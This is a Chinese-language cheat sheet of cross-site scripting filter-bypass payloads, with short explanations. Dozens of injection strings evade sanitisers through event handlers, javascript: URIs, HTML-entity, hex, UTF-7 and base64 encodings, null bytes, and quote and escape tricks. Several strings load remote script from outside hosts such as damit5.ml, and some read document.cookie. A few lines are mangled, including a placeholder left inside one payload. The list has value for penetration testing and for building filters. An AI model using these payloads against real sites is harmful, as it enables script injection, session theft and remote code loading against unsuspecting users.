XSS 绕过常用语句

写在最前面:::

下文中 alert 都可以由 prompt 代替

最常用的 XSS 漏洞测试代码:

1
2
3
4
<script>prompt("XSS")</script>
<SCRIPT SRC=http://damit5.ml/xss.js></SCRIPT>

在输入(Input)标签里

1
<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'>

闭合<input>

1
'><SCRIPT>alert("XSS")</SCRIPT>

现在我们的代码执行了。因为我们闭合了前面的 html 标签,就触发了 XSS,但是,你可能会发现,页面上会显示一个多出来的单引号,为什么,因为后面的那个原来的单引号没有匹配,我们继续修改我们的代码。

1
'><SCRIPT>alert("XSS")</SCRIPT><xss a='

所有的输入就会变成这样:

1
<INPUT type="text" value=''><SCRIPT>alert("XSS")</SCRIPT><xss a=''>

Javascript 代码就注入了。<xss a=”>这个没什么意义,你可以自己改,但是符合 html 的标准,
页面不会出错。

绕过单引号过滤

同样的例子,但是我们假设管理员在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通
过一些类似 add_slashes 的函数可以实现,这个就是转义字符,我们先前的代码就会变成这样:

1
<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>

有一些方法可以继续,但是要看过滤的那个函数是怎么放的了。其中一个方法就是使用字符实体,学过 html
的都知道,就是一些特殊字符会用一些固有的符号组合来表示,举个例子,你不能用<>表示大于和小于,
因为这被解释为 html 标签,但是,你如果要用,可以用下面的来代替。

1 2 3 4
&#34; &quot; 双引号
&#38; &amp; & &符号
&#60; &lt; < 小于号
&#62; &gt; > 大于号

使用&quot;或者&#34;
来代替我们的双引号,有时候可以绕过过滤。

例子:

1
2
3
<script>alert("XSS")</script>
<script>alert(&quot;XSS&quot;)</script>
<script>alert(&#38;XSS&#38;)</script>

如果这都被过滤了。那我们可以使用 JavaScript 的 fromCharCode 函数,这个函数把指定的 Unicode
值转换成字符串。

例子

1
2
<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83))</script>

绕过 <SCRIPT>过滤

有些过滤器会过滤到<script>标签,那上面的例子就都废了,但是。还是有方法插入 javascript 的。我们看看事件处理器的例子。

1
<BODY onload="alert('XSS')">

在 html 里啊。这个 Onload 关键字就是一个事件,其他的所有标签都没有这个属性,但是 Body 标签是有的。但是,有一定的局限性,如果 onload 事件在你的代码之前已经被处理了。那就不会触发了。。不过我们可以继续看看 onerror 事件处理。

1
2
3
<IMG SRC="" onerror="alert('XSS')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

注意看,图片没有指定,也就是出错了。Onerror 这个事件就会发茶。引发 XSS 漏洞,没有用<script>
标签哦。

使用 IMG 源

Html 中最常用的两个标签 imga href一般是不会过滤的,一个指定图片,一个指定超链接。最危险的
img 标签

例子:

标准的样子:
1
<IMG SRC="javascript:alert('XSS');">
没有双引号和分号:
1
<IMG SRC=javascript:alert('XSS')>
不区分大小写的xss攻击向量
1
<IMG SRC=JaVaScRiPt:alert('XSS')>
过滤了双引号和 <script>:
1
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
使用 CharCode 绕过过滤:
1
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
有经验的攻击者也可以把上面的全部转换成相等的 Ascii 码:
1
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
使用 Ascii 表你可以自己试试。当然转换成 16 进制也是可以的。。
1
<IMG SRC=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;& #x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>
默认SRC属性去绕过SRC域名检测过滤器

这将绕过绝大多数SRC域名过滤器。插入javascript代码在任何一个事件方法同样适用于热河一个HTML标签,例如Form、Iframe、Input、Embed等等。他将也允许任何任何该标签的相关事件去替换,例如onblur, onclick等

1
<IMG SRC=# onmouseover="alert('xxs')">

默认SRC属性通过省略它的值
1
<IMG SRC= onmouseover="alert('xxs')">
默认SRC属性通过完全不设置它
1
<IMG onmouseover="alert('xxs')">
结尾没有分号的十六进制html编码引用
1
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

使用制表符, 换行符和回车符

使用了最小的十六进制的制表符来欺骗过滤器
1
<IMG SRC="jav&#x9ascript:alert('XSS');">
Type Horizontal Tab New line Carriage Return
URL %09 %10 %13
Minimal Sized Hex &#x9 &#xA &#xD
Maximum Sized Hex &#x0000009; &#x000000A; &#x000000D;
Minimum Sized Decimal &#9 &#10 &#13
Maximum Sized Decimal &#x0000009; &#x0000009; &#0000009;

使用空字符

另一个可以绕过的就是空字符,这是最有效的工具了。。

1
<SCR%00IPT>alert("XSS")</SCRIPT>

空字符 (%00) 使得过滤器不能看到完整的 <SCRIPT> 标签. 只在 IE 6.0, IE 7.0 可以。

双引号配对的bug

绕过这种过滤就是寻找闭合的标签,然后构造来突破

例子

1
<IMG """><SCRIPT>alert('XSS')</SCRIPT>">

通常我们认为,img 标签里。前两个引号被认为是一对,什么都不做,下一个引号和最后的匹配,但是事
实不是这样,所有的浏览器都在试图修正这一问题。
结果最终如下:

1
<img><script>alert('xss')</script>"&gt;

不全面的过滤器

我们看看当开发者已经把能想到的都过滤了或者什么的。就安全了吗?不。我们可以依然可以向数据指令里插入代码。我们通过 base64 加密<script>alert(‘XSS’)</script>.

1
2
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

畸形的A标签

跳过href属性,而直接获取xss实质攻击代码…提出被David Cross ~ 已验证在chrome浏览器

1
<a onmouseover="alert(document.cookie)">xxs link</a>

此外,chrome浏览器喜欢去不全确实的引号为你。如果你遇到阻碍那么直接省略它们吧,chrome将会正确的帮你不全缺失的引号在URL和script中。

1
<a onmouseover=alert(document.cookie)>xxs link</a>

使用双引号

如果你需要使用双引号和单引号。使用一些诡异的用法吧 (重音符混淆)。
1
<IMG SRC=`javascript:alert("Look its, 'XSS'")`>

转义字符

转义字符有时候很有用,可以对付一些简单的过滤器
1
<IMG SRC=`javascript:alert(\"XSS\")`>

结果如下:

1
<IMG SRC=`javascript:alert(\\"XSS\\")`>

编码

使用 utf-7 编码可以绕过

例子

1
<script>alert("XSS")</script>

使用UTF-7编码后

1
+ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-

然后所有的加号需要被改成%2b,否则会被浏览器识别为连接符

1
%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-

一个列表:

字符 实体引用
空格 %20
/ %2F
%22
? %3F

我也不知道咋分类了

内嵌TAB

1
<IMG SRC="jav ascript:alert('XSS');">

内嵌被编码的TAB

用来分开xss攻击代码

1
<IMG SRC="jav&#x09;ascript:alert('XSS');">

内嵌换行符去分开xss代码

1
<IMG SRC="jav&#x0A;ascript:alert('XSS');">

编码回车符去分开xss代码

1
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

没有分割的javascript指令

null字符也可以作为一个xss向量,但是不像上边那样。你需要直接注入它们利用一些工具例如Burp Proxy,或是使用 %00 在你的url字符串里。或者如果你想写你自己的注入工具你可以使用vim(^V^@ 会生成null),以及用下面的程序去生成它到一个文本文件中。好吧,我再一次撒谎了。 Opera的老版本(大约 7.11 on Windows)是脆弱的对于一个额外的字符173(软连字符)。但是null字符 %00 是更加的有用或者帮助我们绕过某些真实存在的过滤器用过变动像这个例子中的。

1
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

图片元素中javascript之前的空格和元字符为xss

xss过滤拼配模式没有考虑单词”javascript:”中可能存在空格是正确的,因为否则将无法渲染。但是这也导致了错误的假设认为你不可以有一个空格在引号和 “javascript:” 单词之间。事实上你可以插入 1-32编码字符(十进制)中的任何字符。

1
<IMG SRC=" &#14; javascript:alert('XSS');">

非字母数字字符xss

Firefox html解析器设定一个非数字字母字符不是有效的在一个html关键字后面,因此这些字符会被视为空白符或是无效的token在html标签之后。这导致很多xss过滤器错误的认为html标签必须是被空白符隔断的。

例如
1
<SCRIPT/XSS SRC="http://damit5.ml/xss.js"></SCRIPT>

和上面的原理相同,我们继续扩大,Gecko渲染引擎允许字母、数字、html封装字符以外的任何字符位于事件处理器与等号之间。从而借此绕过xss过滤器。注意这也是适用于重音符如下所示:

1
<BODY onload!#$%&()*~+-_.,:;[email protected][/|\]^`=alert("XSS")>

Yair Amit 提示我有一个小区别在 ie和Gecko 渲染引擎之间是他们仅允许一个一个斜杠在html标签和参数之间,在不使用空格的情况下。这可能是有用的在那些不允许输入空格的系统中。

1
<SCRIPT/SRC="http://damit5.ml/xss.js"></SCRIPT>

附加的开括号

Franz Sedlmaier提出,利用这个xss向量可以绕过某些检测引擎,因为这些引擎通过拼配最早出现的一对尖括号,并且提取其内部内容作为标签,而没有使用更加有效的算法例如 Boyer-Moore(寻找打开的尖括号以及相关标签的模糊拼配)。代码中的双斜杠可以抑制额外尖括号导致的javascript错误。

1
<<SCRIPT>alert("XSS");//<</SCRIPT>

没关闭的script标签

对于使用了 Gecko渲染引擎的Firefox 和 Netscape 8.1 ,你并不需要常规xss中”>“这部分。 Firefox会帮你闭合标签,并且加入结束标签。多么的体贴啊! Unlike the next one, which doesn’t effect Firefox, this does not require any additional HTML below it. 如果需要,你可以加入引号,但通常他并不是必须的。注意,我并不清楚这个代码被注入后html代码会闭合成什么样子。

1
<SCRIPT SRC=http://damit5.ml/xss.js?< B >

script标签中的协议解析

这个特殊的变体由 Łukasz Pilorz 提出,并且基于上文中 Ozh提出的协议解析绕过。这个xss例子工作在 IE, 使用IE渲染引擎的Netscape 以及加了在结尾的 Opera。这是非常有用的在输入长度受到限制。域名越短越好。 “.j”是有效的,不需要考虑编码问题因为浏览拿起可以自动识别在一个script标签中。

1
<SCRIPT SRC=//ha.ckers.org/.j>

半开的HTML/JavaScript xss向量

不同于 Firefox ,ie渲染引擎不会加入额外的数据到你的页面。但是它允许javascript指定在图片标签中这是有用的作为一个xss向量,因为它不需要一个结束的尖括号。你可以插入这个xss向量在任何html标签后面。甚至没有用”>”关闭标签。 A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn’t require the end “>”. 这也是有效的去对付真实的xss过滤器,我曾经碰见过试用半开的

1
<IMG SRC="javascript:alert('XSS')"

双开尖括号

使用一个开始尖括号(<)在向量结尾代替一个关闭尖括号(>)会有不同的影响在 Netscape Gecko 的渲染中。 Without it, Firefox will work but Netscape won’t。

1
<iframe src=http://damit5.ml/xss.html <

转义javascript中的转义

当一个应用程序是输出用户自定义的信息到javascript代码中,例如:
<SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>
如果你想插入你自己的javascript代码进入它,但是服务器转义了其中的某些引号,这时你需要通过转义被转义的字符来绕过它。从而使最终的输入代码类似于<SCRIPT>var a="\";alert('XSS');//";</SCRIPT> 。最终\转义了双引号前被服务器添加的\,而双引号则不会被转义,从而触发xss向量。xss定位器使用这个方法。

1
\";alert('XSS');//

闭合title标签

这是一个简单的xss向量,可以引入一个恶意的xss攻击。

1
</TITLE><SCRIPT>alert("XSS");</SCRIPT>

INPUT image

1
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

BODY image

1
<BODY BACKGROUND="javascript:alert('XSS')">

IMG DYNSRC(视频剪辑)

1
<IMG DYNSRC="javascript:alert('XSS')">

IMG lowsrc(低分辨率图片)

1
<IMG LOWSRC="javascript:alert('XSS')">

List-style-image

1
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

List-style-image

为带有符号的列表嵌入自定义图片的符号。它是只能工作在ie渲染引擎因为javascript指令。这不是一个特别有用的xss向量。

1
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

VBscript in an image

1
<IMG SRC='vbscript:msgbox("XSS")'>

Livescript (仅适用于老版本的Netscape)

1
<IMG SRC="livescript:[code]">

BGSOUND(背景音乐)

1
<BGSOUND SRC="javascript:alert('XSS');">

& JavaScript 包含

1
<BR SIZE="&{alert('XSS')}">

样式表

1
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">